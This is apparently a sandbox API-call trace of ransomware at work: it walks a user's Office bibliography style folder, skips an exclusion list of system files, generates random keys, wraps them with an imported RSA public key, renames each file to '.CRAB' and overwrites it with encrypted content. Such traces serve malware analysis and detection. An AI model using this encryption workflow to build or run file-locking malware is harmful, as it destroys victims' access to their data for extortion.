	[0110.803] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0110.803] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0110.803] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.803] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0110.804] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0110.804] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0110.804] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda72f0) returned 1
	[0110.805] CryptGetKeyParam (in: hKey=0xda72f0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0110.805] CryptEncrypt (in: hKey=0xda72f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0110.805] GetLastError () returned 0x0
	[0110.805] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0110.805] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6ed98) returned 1
	[0110.805] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda71b0) returned 1
	[0110.806] CryptGetKeyParam (in: hKey=0xda71b0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0110.806] CryptEncrypt (in: hKey=0xda71b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0110.806] GetLastError () returned 0x0
	[0110.806] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0110.806] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\mlaseventheditionofficeonline.xsl.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0110.806] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0110.807] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0110.807] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x3e4f3, lpOverlapped=0x0) returned 1
	[0110.864] VirtualAlloc (lpAddress=0x0, dwSize=0x3e500, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0110.872] VirtualAlloc (lpAddress=0x0, dwSize=0x3e500, flAllocationType=0x3000, flProtect=0x4) returned 0x33a0000
	[0110.876] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.878] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffc1b0d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.878] WriteFile (in: hFile=0x3f8, lpBuffer=0x33a0000*, nNumberOfBytesToWrite=0x3e500, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x33a0000*, lpNumberOfBytesWritten=0x314a9bc*=0x3e500, lpOverlapped=0x0) returned 1
	[0110.879] VirtualFree (lpAddress=0x33a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.880] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.884] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0110.884] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0110.884] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0110.884] CloseHandle (hObject=0x3f8) returned 1
	[0110.888] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.889] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.889] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.889] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.890] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.890] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.890] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0110.890] lstrcmpW (lpString1="SIST02.XSL", lpString2=".") returned 1
	[0110.890] lstrcmpW (lpString1="SIST02.XSL", lpString2="..") returned 1
	[0110.890] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="SIST02.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL"
	[0110.890] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0110.891] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL") returned 77
	[0110.891] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL") returned 77
	[0110.891] lstrlenW (lpString=".XSL") returned 4
	[0110.891] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.891] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".XSL ") returned 5
	[0110.891] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.891] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL") returned 77
	[0110.891] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL") returned 77
	[0110.891] lstrcmpiW (lpString1="SIST02.XSL", lpString2="desktop.ini") returned 1
	[0110.891] lstrcmpiW (lpString1="SIST02.XSL", lpString2="autorun.inf") returned 1
	[0110.891] lstrcmpiW (lpString1="SIST02.XSL", lpString2="ntuser.dat") returned 1
	[0110.892] lstrcmpiW (lpString1="SIST02.XSL", lpString2="iconcache.db") returned 1
	[0110.892] lstrcmpiW (lpString1="SIST02.XSL", lpString2="bootsect.bak") returned 1
	[0110.892] lstrcmpiW (lpString1="SIST02.XSL", lpString2="boot.ini") returned 1
	[0110.892] lstrcmpiW (lpString1="SIST02.XSL", lpString2="ntuser.dat.log") returned 1
	[0110.892] lstrcmpiW (lpString1="SIST02.XSL", lpString2="thumbs.db") returned -1
	[0110.892] lstrcmpiW (lpString1="SIST02.XSL", lpString2="CRAB-DECRYPT.txt") returned 1
	[0110.892] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.892] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL.CRAB") returned 82
	[0110.892] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\sist02.xsl")) returned 0x20
	[0110.892] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL", dwFileAttributes=0x20) returned 1
	[0110.893] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\sist02.xsl"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\sist02.xsl.crab")) returned 1
	[0110.894] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0110.894] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL.CRAB"
	[0110.894] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL.CRAB.CRAB"
	[0110.894] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6ed98) returned 1
	[0110.895] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.895] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.896] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.896] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0110.896] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0110.896] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.896] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0110.897] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.897] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.897] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.897] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0110.898] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0110.898] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.898] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0110.898] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0110.899] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e5a0) returned 1
	[0110.899] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda72b0) returned 1
	[0110.900] CryptGetKeyParam (in: hKey=0xda72b0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0110.900] CryptEncrypt (in: hKey=0xda72b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0110.900] GetLastError () returned 0x0
	[0110.900] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0110.901] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0110.901] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda7330) returned 1
	[0110.901] CryptGetKeyParam (in: hKey=0xda7330, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0110.901] CryptEncrypt (in: hKey=0xda7330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0110.902] GetLastError () returned 0x0
	[0110.902] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0110.902] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\sist02.xsl.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0110.902] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0110.903] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0110.903] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x3d5c8, lpOverlapped=0x0) returned 1
	[0110.928] VirtualAlloc (lpAddress=0x0, dwSize=0x3d5d0, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0110.932] VirtualAlloc (lpAddress=0x0, dwSize=0x3d5d0, flAllocationType=0x3000, flProtect=0x4) returned 0x33a0000
	[0110.937] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.939] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffc2a38, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.940] WriteFile (in: hFile=0x3f8, lpBuffer=0x33a0000*, nNumberOfBytesToWrite=0x3d5d0, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x33a0000*, lpNumberOfBytesWritten=0x314a9bc*=0x3d5d0, lpOverlapped=0x0) returned 1
	[0110.940] VirtualFree (lpAddress=0x33a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.941] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.945] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0110.945] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0110.945] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0110.946] CloseHandle (hObject=0x3f8) returned 1
	[0110.954] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.954] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.955] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.955] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.955] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.955] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.956] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0110.956] lstrcmpW (lpString1="TURABIAN.XSL", lpString2=".") returned 1
	[0110.956] lstrcmpW (lpString1="TURABIAN.XSL", lpString2="..") returned 1
	[0110.956] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="TURABIAN.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL"
	[0110.956] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0110.956] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL") returned 79
	[0110.956] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL") returned 79
	[0110.956] lstrlenW (lpString=".XSL") returned 4
	[0110.956] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.956] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".XSL ") returned 5
	[0110.957] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.957] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL") returned 79
	[0110.957] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL") returned 79
	[0110.957] lstrcmpiW (lpString1="TURABIAN.XSL", lpString2="desktop.ini") returned 1
	[0110.957] lstrcmpiW (lpString1="TURABIAN.XSL", lpString2="autorun.inf") returned 1
	[0110.957] lstrcmpiW (lpString1="TURABIAN.XSL", lpString2="ntuser.dat") returned 1
	[0110.957] lstrcmpiW (lpString1="TURABIAN.XSL", lpString2="iconcache.db") returned 1
	[0110.957] lstrcmpiW (lpString1="TURABIAN.XSL", lpString2="bootsect.bak") returned 1
	[0110.957] lstrcmpiW (lpString1="TURABIAN.XSL", lpString2="boot.ini") returned 1
	[0110.957] lstrcmpiW (lpString1="TURABIAN.XSL", lpString2="ntuser.dat.log") returned 1
	[0110.957] lstrcmpiW (lpString1="TURABIAN.XSL", lpString2="thumbs.db") returned 1
	[0110.957] lstrcmpiW (lpString1="TURABIAN.XSL", lpString2="CRAB-DECRYPT.txt") returned 1
	[0110.957] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.958] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL.CRAB") returned 84
	[0110.958] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\turabian.xsl")) returned 0x20
	[0111.010] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL", dwFileAttributes=0x20) returned 1
	[0111.010] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\turabian.xsl"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\turabian.xsl.crab")) returned 1
	[0111.011] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0111.011] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL.CRAB"
	[0111.012] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL.CRAB.CRAB"
	[0111.012] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0111.012] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0111.013] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0111.013] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0111.013] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0111.013] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0111.013] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.013] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e9e0) returned 1
	[0111.014] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0111.014] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0111.015] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0111.015] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0111.015] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0111.015] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.015] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0111.015] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0111.016] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6ed98) returned 1
	[0111.016] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda6fb0) returned 1
	[0111.016] CryptGetKeyParam (in: hKey=0xda6fb0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0111.016] CryptEncrypt (in: hKey=0xda6fb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0111.017] GetLastError () returned 0x0
	[0111.017] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0111.017] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6ed98) returned 1
	[0111.017] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda73f0) returned 1
	[0111.017] CryptGetKeyParam (in: hKey=0xda73f0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0111.017] CryptEncrypt (in: hKey=0xda73f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0111.018] GetLastError () returned 0x0
	[0111.018] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0111.018] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\turabian.xsl.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
